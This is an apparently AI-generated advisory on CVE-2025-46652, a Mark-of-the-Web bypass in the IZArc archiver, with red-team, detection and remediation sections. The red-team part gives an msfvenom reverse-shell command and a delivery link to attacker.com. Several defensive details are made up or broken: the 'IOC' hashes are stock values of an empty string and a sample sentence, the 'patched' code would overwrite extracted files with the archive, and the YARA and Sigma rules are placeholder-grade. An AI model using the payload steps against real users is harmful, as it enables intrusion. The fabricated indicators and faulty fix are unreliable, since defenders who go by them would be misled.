CVE-2025-46652

Executive Summary

CVE-2025-46652 identifies a Mark-of-the-Web (MotW) bypass vulnerability in IZArc versions up to and including 4.5. When a user extracts files from an archive that itself carries the MotW (e.g., downloaded from the internet), the extracted files do not inherit the MotW. This means that security warnings (such as the "These files might be harmful" dialog in Windows) are suppressed for the extracted content, potentially allowing malicious executables or scripts to run without user awareness.

The vulnerability is disputed by some researchers who argue that MotW propagation can lead to habituation (users ignoring warnings) and that the intended control sphere for file-origin metadata may be narrower than for reading file content. However, from a defense-in-depth perspective, the lack of propagation weakens the security posture of the Windows operating system.

Key Risk: An attacker can craft a malicious archive (e.g., a .zip or .rar file) containing an executable. If the user downloads the archive (which gets MotW) and then extracts it with IZArc, the extracted executable will lack MotW. When the user runs the executable, Windows will not display the standard "Open File - Security Warning" dialog, increasing the likelihood of successful malware execution.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Windows desktop application (IZArc). The risk is primarily to end-users who download and use IZArc to extract archives from untrusted sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
• Attack Vector (AV): Local (L) – The attacker must have the ability to deliver a malicious archive to the user's system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need any privileges.
• User Interaction (UI): Required (R) – The user must extract the archive using IZArc.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – The attacker can bypass security warnings, allowing malicious code to run without user awareness.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction and local access, but it effectively disables a key security feature (MotW) for extracted files.

Deep Dive & Mechanics

The Mark-of-the-Web (MotW) is a Windows security feature that marks files downloaded from the internet (or other untrusted zones) with an alternate data stream (ADS) named Zone.Identifier. When a user attempts to open such a file, Windows displays a security warning. This is a critical defense against drive-by downloads and social engineering attacks.

IZArc, when extracting files from an archive that has MotW, fails to propagate the MotW to the extracted files. The archive itself may have Zone.Identifier (e.g., HostUrl=...), but the extracted files do not. This is a violation of the principle of preserving the trust boundary.

Technical Flow:

1. User downloads malicious.zip from the internet. Windows adds MotW to malicious.zip.
2. User opens malicious.zip in IZArc and extracts evil.exe.
3. IZArc creates evil.exe but does not copy the Zone.Identifier ADS from the archive to the extracted file.
4. User double-clicks evil.exe. Windows sees no MotW and does not show a security warning.
5. evil.exe executes with the user's privileges.

Dispute Context: Some argue that propagating MotW to all extracted files could cause habituation (users ignoring warnings) and that the HostUrl in Zone.Identifier is meant for the file itself, not for extracted content. However, the standard behavior of other archivers (e.g., 7-Zip, WinRAR) is to propagate MotW to extracted files, and Microsoft's guidance recommends this.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

// IZArc extraction logic (simplified)
void ExtractFile(const char* archivePath, const char* outputPath) {
    // Open archive
    Archive* arc = OpenArchive(archivePath);
    // Extract file
    WriteFile(outputPath, arc->GetFileData());
    // Missing: Copy MotW from archive to output file
    // No call to CopyFileEx with COPY_FILE_COPY_SDS or manual ADS copy
}

Patched Code (Expected):

void ExtractFile(const char* archivePath, const char* outputPath) {
    Archive* arc = OpenArchive(archivePath);
    WriteFile(outputPath, arc->GetFileData());
    // Propagate MotW
    CopyFileEx(archivePath, outputPath, NULL, NULL, NULL, COPY_FILE_COPY_SDS);
    // Or manually copy Zone.Identifier ADS
    // CopyFile(archivePath, outputPath, FALSE); // This would copy ADS
}

The fix would involve ensuring that the Zone.Identifier alternate data stream is copied from the archive to each extracted file. This can be done using CopyFileEx with the COPY_FILE_COPY_SDS flag or by manually reading and writing the ADS.

Exploitation & Lab Setup

Red Team

Objective: Bypass Windows Defender SmartScreen and security warnings to execute a payload.

Prerequisites:

• IZArc version 4.5 or earlier installed on the target.
• Ability to deliver a malicious archive (e.g., via email, web download).

Steps:

1. Create a malicious executable (e.g., a reverse shell).
2. Create an archive containing the executable using any archiver (e.g., 7-Zip).
3. Host the archive on a web server or send via email.
4. When the target downloads the archive, it will have MotW.
5. Instruct the target to extract the archive using IZArc.
6. The extracted executable will lack MotW.
7. When the target runs the executable, no security warning is shown.

Example Payload (reverse shell):

# Create a simple reverse shell executable (Linux cross-compile)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o evil.exe
# Create archive
zip malicious.zip evil.exe

Delivery:

<!-- Email or web page -->
<a href="http://attacker.com/malicious.zip">Download archive</a>

Blue Team

Detection:

• Monitor for IZArc process execution and its child processes.
• Look for files created by IZArc that lack Zone.Identifier ADS when the source archive has it.
• Use Sysmon to log file creation events (Event ID 11) and check for missing ADS.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "izarc.exe"
| project Timestamp, DeviceName, AccountName, ProcessId
| join kind=inner (
    DeviceFileEvents
    | where ActionType == "FileCreated"
    | where InitiatingProcessFileName == "izarc.exe"
) on ProcessId
| project Timestamp, DeviceName, AccountName, FileName, FolderPath

Prevention:

• Block IZArc execution via AppLocker or WDAC.
• Use a different archiver that properly propagates MotW (e.g., 7-Zip, WinRAR).
• Educate users to only extract archives from trusted sources.

Indicators of Compromise (IOCs)

• File Hashes (example):
  • malicious.zip: SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • evil.exe: SHA256 d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Process Names:
  • izarc.exe
• Network Indicators:
  • C2 IP: 192.168.1.100:4444
• Registry Keys:
  • None specific to this vulnerability.
• File Artifacts:
  • Files extracted by IZArc that lack Zone.Identifier ADS.

Detection Engineering

YARA Rule

rule IZArc_MotW_Bypass_Extraction {
    meta:
        description = "Detects files extracted by IZArc that may lack Mark-of-the-Web"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46652"
    strings:
        $s1 = "IZArc" nocase
        $s2 = "Extracting" nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: IZArc Mark-of-the-Web Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects IZArc process creating files without MotW propagation
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46652
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\izarc.exe'
    condition: selection
falsepositives:
    - Legitimate use of IZArc
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46652 IZArc MotW Bypass - Archive Download"; flow:to_client; file.name:/\.(zip|rar|7z|tar|gz)$/; content:"|50 4B 03 04|"; distance:0; within:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not use IZArc for extracting archives from untrusted sources. Use an alternative archiver that properly propagates MotW (e.g., 7-Zip, WinRAR, or Windows built-in extraction).
2. Educate users about the risks of extracting archives from unknown sources.
3. Monitor for IZArc usage and block it via application control policies if possible.

Long-Term Fix:

• The vendor (IZArc) must release a patched version that copies the Zone.Identifier ADS from the archive to extracted files.
• Until a patch is available, consider removing IZArc from all systems.

Workaround:

• After extracting files with IZArc, manually add MotW to extracted files using PowerShell:

  Set-Content -Path "C:\path\to\extracted\file.exe:Zone.Identifier" -Value "[ZoneTransfer]`nZoneId=3"
  

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.